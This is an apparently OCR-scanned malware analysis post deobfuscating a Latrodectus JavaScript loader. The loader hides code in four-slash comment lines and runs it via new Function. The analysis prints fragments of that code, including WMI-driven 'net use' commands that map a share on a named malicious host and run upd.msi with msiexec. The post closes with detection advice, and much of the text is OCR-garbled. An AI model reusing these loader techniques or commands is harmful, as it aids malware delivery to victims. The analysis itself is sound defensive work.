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This post will dive into a Latrodectus loader that leverages junk comments and wmi commands to obfuscate

functionality and download a remote .msi file.

There are three "stages" to this sample, which can be decoded through a combination of regular expressions and
CyberChef.

Obtaining Initial Sample

The initial sample can be found on Malware Bazaar and was initially uploaded by prOxylife
SHA256: 71fb25cc4c@5ce9ddd94614ed781d85a50dccf69042521abc6782d48df85e6de9
Initial Sample Review

The initial sample is a relatively large 845KB, which is large for a script based file.

A script-based sample of this size is typically an indicator that there is going to be some heavy obfuscation or junk
to deal with.

Name Date modified Type

93f7e€95461c18aee7b56651069104710c76f9%e3...  25/03/2024 9:05 AM JavaScript File 845 KB

js_latro_93f7e95461c18aee7b56651069104710...  25/03/2024 2:07 AM 7zFM.exe file 403 KB

As the file is Javascript and text-based, the next step is to open it in a text editor for further review.

A text editor reveals that the script contains a huge number of junk comments, which is further shown by the mini-

map on the right-hand side.

The style of the junk comments indicates that they were generated from a wordlist, and were likely added by some

form of obfuscator.
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UTF-8 CRLF {} JavaScript &’

By leveraging the highlighting provided by visual-studio code, we can scroll through the file to determine if there

is any real functional code.

Every few hundred lines, there is a small piece of functional javascript containing the actual malware

functionality.

execute = new Function(scriptBuffer);

Cleaning Up the Code and Obtaining Stage 2
At this stage, we have identified the obfuscation (junk comments) and determined that the file contains real code.

To deal with this, we can use a regular expression to remove the junk comments by specifying that we want to

remove any line beginning with double forward slashes.

This regular expression specifies that we want double forward slashes followed by anything followed by a

newline. We have also added a caret A to specify that we only want this at the beginning of a line.

Aa ab, |¥| 5 of 1851

R

After applying the regular expression, we're left with only 37 lines of code, which is significantly shorter than the

original 1890.
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scriptExecutor
engine = new Activ -("Scripting
filePath = WScript.ScriptFullName,
scriptBuffer = "";

loadScript
if (lengine.FileExists(filePath)) return;

LLE

engine.OpenTextFile(filePath, 1);
s AtEndOfStream) {
line = file.ReadLine
if (line.slice(e, 4) == / ) scriptBuffer += line.substr(4) + "\n

}
file.Close();

However, 37 lines of code is still quite short. This gives the impression that there is something more interesting

and tricky to this script.

If we observe the code more closely, we can see that it is opening and reading its own contents and looking for

any lines that begin with 4 forward slashes.

scriptExecutor

var engine = ; Acti yject ipti
filePath = WScript.ScriptFullName,
scriptBuffer = "";

Open the original file
tion loadScript

if (lengine.FileExists(filePath)) return;
file = engine.OpenTextFile(filePath, 1);
while (!file.AtEndofStream) {
line = file.ReadLine
if (line.slice(e, 4) = ") scriptBuffer += line.substr(4) + "\n";

}

file.Close(); Extract any lines that start with four forward slashes.

This reveals that the "junk" comments were not all junk; some of them contained code that formed the next piece
of the malicious script.

If we return to the original script, we can see that the lines containing four forward slashes contain code.

The remainder of this stage is responsible for executing the "comments" in the original script.
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if (line.slice(®, 4 //") scriptBuffer += line.substr(4) + "\
}
file.Close();

executeScript
if (scriptBuffer ! )
execute = v Fu (scriptBuffer);

loadScript();
executeScript();
h (e) {}

Obtaining Stage 3
At this point, we know that an additional piece of malware is stored inside the comments of the original script.

Luckily, we know that the malicious portions begin with four forward slashes. Hence, we can use a regular

expression to isolate these lines of code.

To obtain this next stage, we can load the original script (with junk comments) into CyberChef and use a regular

expression to extract the lines beginning with four forward slashes.

Recipe AEa Input +0Osl8 =

~

Regular expression 5 P4 N N 1 :
9 P // Eurafrican superspecification dissatisfactory hypotrichous patriarchically

. . areasoner unsolidity coterie nonmastery pimpleback anchoress conspiracy vomition
U.serde;ined metapolitician crossbreed fusil palladia dockland chlorophyllose antiphagocytic
parovarian humin nodical softheartedly Guinean Moravianized yearnling Culicidae
. cleaner approaching Carpophaga assumed Italianation serau dargsman shaw pencilwood
.-’r’;f.' tempera Pediculina disworth carpophagous Tembu countercoupe flawlessness unsettleable

// consecutively stichic skeletonic tormentress renege redip indeclinableness
mislocate diplocaulescent hostilize blaeberry Enaliosauria allocatable sheafage
i parallelable skatoxyl noninstructional assembler topognosia awber atropal

pseudosweating cippus theologicohistorical Ibanag inspect mutistic hapaxanthous
unistylist norgine unvenial officerism nasion unfelonious unstarred idolatrously
osteophony bombastic Lychnis sulphonamide inguinoscrotal uncurious roomful wherefor

hakananalse

ec 862577 = 1891 Tr Raw Bytes < LF

Case insensitive A and $ match at newlines

D Dot matches all D Unicode support
Output R0O®:

2/ Ivar network new ActiveXObject("WScript.Network™);
7 var wmi = GetObject( winmgmts:\\\\.\\root\\cim2");
M/ f/var attempt = @;

J4f/var connected = false;

//f/var drivelLetter, letter;

-~

[ astral suppert [ Display total Li‘sé |.ﬂatc.hgs

1

[/ /function isDriveMapped(letter) {

i var drives = network.EnumNetworkDrives();
1t for (var i = 0; i < drives.length; i += 2) {
1 if (drives.Item(i) letter) {

1 return true;

. 111 }
e IR O e

We can also leverage a capture group and "List capture groups" to display only the malicious code and avoid

displaying the forward slashes.
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Recipe

Regular expression
User defined

Case insensitive

A

D Dot matches all

[ Unicode
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D Astral support D Display total

Review of Final Script

The results of the CyberChef oper

om W Input +DO3 i =
-
/i Eurafrican superspecification dissatisfactory hypotrichous patriarchically
areasoner unsolidity coterie nonmastery pimpleback anchoress conspiracy vemition
metapolitician crossbreed fusil palladia dockland chlorophyllose antiphagocytic
parovarian humin nodical softheartedly Guinean Moravianized yearnling Culicidae
cleaner approaching Carpophaga assumed Italianation serau dargsman shaw pencilwood
tempera Pediculina disworth carpophagous Tembu countercoupe flawlessness unsettleable
/i consecutively stichic skeletonic tormentress renege redip indeclinableness
mislocate diplocaulescent hostilize blaeberry Enaliosauria allocatable sheafage
4 parallelable skatoxyl noninstructional assembler topognosia awber atropal
pseudosweating cippus theologicohistorical Ibanag inspect mutistic hapaxanthous
_ . unistylist norgine unvenial officerism nasion unfelonious unstarred idolatrously
and $ match at newlines oasteophony bombastic Lychnis sulphonamide inguinoscrotal uncurious roomful wherefor
hataranale B
me 862577 = 1891 Tr Raw Bytes ¢ LF
support
Output a I_D m HH
! mat var network = new ActiveXObject(“"WScript.Network™); L}
List capture .. var wni = GetObject( winmgmts:\\\\.\\root\\cim2")
var attempt = 8;
var connected false;
var driveLetter, letter;
function isDriveMapped(letter) {
var drives network. EnumNetworkDrives();
for (var i @; i < drives.length; i += 2) {
if (drives.Ttem(i) === letter) {
return true;
— }

ation can be moved into a text editor for final review.

On line 17 of the new script, we can see that the malware attempts to map to a network drive at

sokingscrosshotel[.]com

for (drivelLetter
letter <

network.

connected

attempt
"net u '

MapNetworkDrive(letter,

3

command.

P

5) {

+ letter +

3

Date

connected

Create(command,

- startTime < 3000)

isDriveMapped(letter);

Once the drive is connected, the malware attempts to execute an upd.msi files using msiexec.exe
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Once the file is executed, the network drive is removed using RemoveNetworkDrive from the WScript.Network

object.

Detection Opportunities
The malware leverages WMI to execute the net.exe and msiexec.exe commands.

This produces a process tree similar to that below. With the appropriate process creation logs, an analyst could

search for wmiprvse.exe spawning net.exe with references to suspicious or unknown drive names.

W MemCompression (1828) MamCompression 24000

W Csrss exe (432) C... CWindows\Systema2icsiss exe %SystemRool %isyslem32icsrss exe ObjectDirectony=IWindows SharedSection=1024,20480,768 . 2410;
W waninit exe (512) WG Windowslsystem32mininit exe wirinit exe 2400:
W senvices exe (564) 5. C'Windows\system32isenices exe CWindows\syslem32\senices exe 24000
ichgst exa (754 | sleyslama ey Windows\cystan hostaxa & Deoml 3 24107

] wmiprvse exe (4154) W_IC Windows\syslem 32wbemiwmipivse.exe CWindows!syslem32'wbemwmiprvse.exe 2410!

net exe (8380) N... C'\Windows\system32\net exa net use A Isokingscrosshotel com@t0ishare) ipersistent no 2507

75 Conhost xe (8352) C.. C\Windows\System32iConhost exe 27C:Windows\systam32\conhost axe Okt -Forcev 1 2500

net exe (1036) N CWindows\system3Zinet exe nel use A liso com@B0isharel ips na 2500

z22 Conhosl. exe (9208) C... C\Windows\Syslem32\Conhost exe PAC Windows'system32\conhost exe OxfHiH -ForceV1 25000

net exe (992) N... CWindows\system3zinet exa net use A | DEDshare ipersistent no 2500

528 Conhosl exe (1696) C... C'Windows\Syslem32\Conhost exe \77C Windows'system32\conhost exe Oxfitifi -ForceV1 2500

o = T o e T ™ cwSnIh2byewy\StartM... 24107

¥ RuntimeBroker exe (4144) R... C\Windows\System32\RuntimeBroker exe CWindows\System32\RuntimeBroker axe -Embedding 24107

¥ SearchApp exe (6016) 5. &\Windows\SystemApps\Microsoft Windows. Search_cwSn1h2tx . *C\Windows\SystemApps!Microsoft Windows. Search_cwSn Th2byewylSearchApp exe” -ServerNa. . 2410

The below command would produce a similar pattern. This could be hunted by looking for wmiprvse.exe

spawning msiexec.exe with references to uncommon share names.

if (connected) {

installCommand

wmi.Get("Wi 2(installCommand,
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